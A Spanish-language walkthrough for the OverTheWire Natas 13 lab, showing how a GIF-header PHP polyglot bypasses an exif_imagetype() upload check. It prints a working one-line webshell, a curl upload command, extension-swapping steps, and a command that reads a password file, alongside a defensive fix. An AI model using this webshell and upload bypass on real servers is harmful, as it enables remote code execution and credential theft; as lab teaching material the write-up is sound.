Natas Nivel 13 → 14

Nivel oficial: http://natas13.natas.labs.overthewire.org

Este nivel es la versión reforzada de Natas 12: el servidor ahora llama a exif_imagetype() para comprobar que el archivo subido es realmente una imagen. La defensa parece sólida, pero sigue siendo bypasseable porque la validación inspecciona solo los primeros bytes del archivo, ignorando el resto del contenido.

Este es un laboratorio legal y autorizado de OverTheWire, diseñado específicamente para aprender seguridad ofensiva de forma ética.


Objetivo

Subir un archivo que PHP ejecute como script .php, pero que al mismo tiempo supere la comprobación exif_imagetype(). Con eso se obtiene ejecución remota de código (RCE) y se lee la contraseña de natas14 en /etc/natas_webpass/natas14.


Qué aprendes

Concepto / HerramientaPara qué sirve
Magic bytes (firma de archivo)Los primeros bytes identifican el tipo de fichero; muchos validadores se basan solo en ellos
Archivo polyglotFichero válido para dos formatos a la vez (p. ej., imagen y script PHP)
exif_imagetype() en PHPDevuelve el tipo de imagen leyendo la cabecera; no valida el resto del contenido
Burp Suite / curlInterceptar y modificar la petición HTTP para cambiar la extensión antes de enviarla
Webshell PHP mínimaFragmento de código que ejecuta comandos en el servidor vía parámetro GET

Concepto clave

Validación por magic bytes vs. validación real del contenido. Los formatos de archivo tienen una firma en sus primeros bytes: los archivos GIF empiezan por GIF89a, los JPEG por \xFF\xD8\xFF. Muchos sistemas comprueban solo esa cabecera para decidir si el archivo “es una imagen”.

Un archivo polyglot explota esto: sus primeros bytes satisfacen la firma de imagen (la comprobación pasa), pero el resto del archivo contiene código PHP válido. Cuando el servidor guarda el archivo con extensión .php y lo sirve, el intérprete de PHP ignora la cabecera de imagen y ejecuta el bloque <?php ... ?> que encuentra en el cuerpo.

La lección defensiva es que exif_imagetype() (o cualquier comprobación por cabecera) no es suficiente para validar un upload. Lo correcto es re-procesar la imagen con una librería (p. ej., re-codificarla con GD/ImageMagick), lo que destruye cualquier payload embebido.


Paso a paso

1. Iniciar sesión en Natas 13

# Abre en el navegador:
# http://natas13.natas.labs.overthewire.org
# Usuario: natas13
# Contraseña: <pass_natas13>

Verás un formulario de subida de archivo idéntico al de Natas 12, pero el código fuente del nivel (accesible via el enlace “View sourcecode”) muestra la diferencia clave:

// Fragmento relevante del código fuente del nivel
if (exif_imagetype($_FILES['filename']['tmp_name']) != IMAGETYPE_JPEG
    && exif_imagetype($_FILES['filename']['tmp_name']) != IMAGETYPE_PNG
    && exif_imagetype($_FILES['filename']['tmp_name']) != IMAGETYPE_GIF) {
    echo "File is not an image";
} else {
    // ... mueve el archivo y lo sirve
}

exif_imagetype() lee los primeros bytes del archivo temporal. Si no reconoce una firma de imagen, rechaza el upload.

2. Crear el archivo polyglot

El truco es anteponer la firma de GIF (GIF89a) al payload PHP. El resultado es un archivo cuyos primeros 6 bytes son firma GIF válida y el resto es código PHP.

# Crea el archivo polyglot en tu máquina local
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php

Verificación: los primeros bytes deben ser GIF89a.

xxd shell.php | head -2
# Salida esperada:
# 00000000: 4749 4638 3961 3c3f 7068 7020 7379 7374  GIF89a<?php syst
# 00000010: 656d 2824 5f47 4554 5b22 636d 6422 5d29  em($_GET["cmd"])

3. Interceptar el upload con Burp Suite y cambiar la extensión

Al igual que en Natas 12, el formulario HTML contiene un campo oculto con el nombre de destino del archivo (con extensión .jpg o aleatoria). Hay que cambiarlo a .php antes de que llegue al servidor.

Con Burp Suite:

  1. Activa el proxy de Burp y el interceptor.
  2. Selecciona el archivo shell.php en el formulario y pulsa Upload.
  3. Burp captura la petición. Localiza el parámetro oculto con el nombre de destino, algo como filename=<random>.jpg.
  4. Cambia la extensión a .php: filename=<random>.php.
  5. Reenvía la petición (Forward).

Alternativa con curl (sin navegador):

# Sustituye <pass_natas13> por la contraseña real
curl -u natas13:<pass_natas13> \
     -F "filename=shell.php" \
     -F "uploadedfile=@shell.php;type=image/gif" \
     http://natas13.natas.labs.overthewire.org/

Nota: el campo filename que controla la extensión de destino se gestiona desde el HTML, no desde el nombre del archivo enviado. Si el servidor ignora el nombre enviado y genera el suyo propio con la extensión correcta en el campo oculto, debes interceptar y modificar ese campo. El enfoque exacto puede requerir ajuste fino según el comportamiento en vivo del reto.

4. Ejecutar comandos a través de la webshell

El servidor confirma la URL donde quedó el archivo. Abre esa URL añadiendo el parámetro cmd:

GET /upload/<random>.php?cmd=cat+/etc/natas_webpass/natas14 HTTP/1.1
Host: natas13.natas.labs.overthewire.org
Authorization: Basic <credenciales_base64>

O simplemente en el navegador:

http://natas13.natas.labs.overthewire.org/upload/<random>.php?cmd=cat+/etc/natas_webpass/natas14

La respuesta mostrará algo como:

GIF89a
<pass_natas14>

El prefijo GIF89a aparece porque PHP imprime el contenido del archivo antes del bloque <?php. La contraseña está en la segunda línea.

5. Guardar la contraseña

Copia <pass_natas14> para el siguiente nivel.


Por qué funciona

El flujo completo:

shell.php (GIF89a + código PHP)
    │
    ▼
exif_imagetype() lee primeros bytes → devuelve IMAGETYPE_GIF → PASA
    │
    ▼
Servidor guarda archivo con extensión .php
    │
    ▼
GET /upload/<random>.php?cmd=... → Apache sirve el archivo → PHP lo interpreta
    │
    ▼
PHP ignora GIF89a (no es sintaxis PHP válida, pero tampoco es error fatal)
PHP ejecuta <?php system($_GET["cmd"]); ?> → salida al navegador

exif_imagetype() no valida el formato completo: solo busca la firma al inicio. PHP, por su parte, ejecuta cualquier bloque <?php ?> que encuentre en el archivo, sin importar lo que haya antes. La combinación de ambos comportamientos crea la vulnerabilidad.


Errores comunes

El servidor sigue rechazando el archivo aunque tenga firma GIF. Comprueba con xxd que los primeros bytes son exactamente 47 49 46 38 39 61 (GIF89a). Si usaste un editor de texto para crear el archivo, puede haber introducido una BOM u otros bytes invisibles al principio.

El archivo se sube pero devuelve el contenido en bruto (no ejecuta PHP). La extensión del archivo destino no es .php. El campo oculto en el formulario no fue modificado correctamente: vuelve a interceptar con Burp y asegúrate de cambiar <random>.jpg (u otra extensión) a <random>.php antes de reenviar.

La URL del archivo devuelve 404. El nombre de archivo generado por el servidor es aleatorio y caduca. Cada intento de subida genera una URL nueva; usa la URL que aparece en la respuesta de esa subida concreta.

system() no ejecuta el comando. Algunos servidores deshabilitan system() en php.ini. Prueba alternativas: passthru($_GET["cmd"]), shell_exec($_GET["cmd"]) o echo exec($_GET["cmd"]).


Pasar al siguiente nivel

Con <pass_natas14> en mano:

URL:      http://natas14.natas.labs.overthewire.org
Usuario:  natas14
Contraseña: <pass_natas14>

Conexiones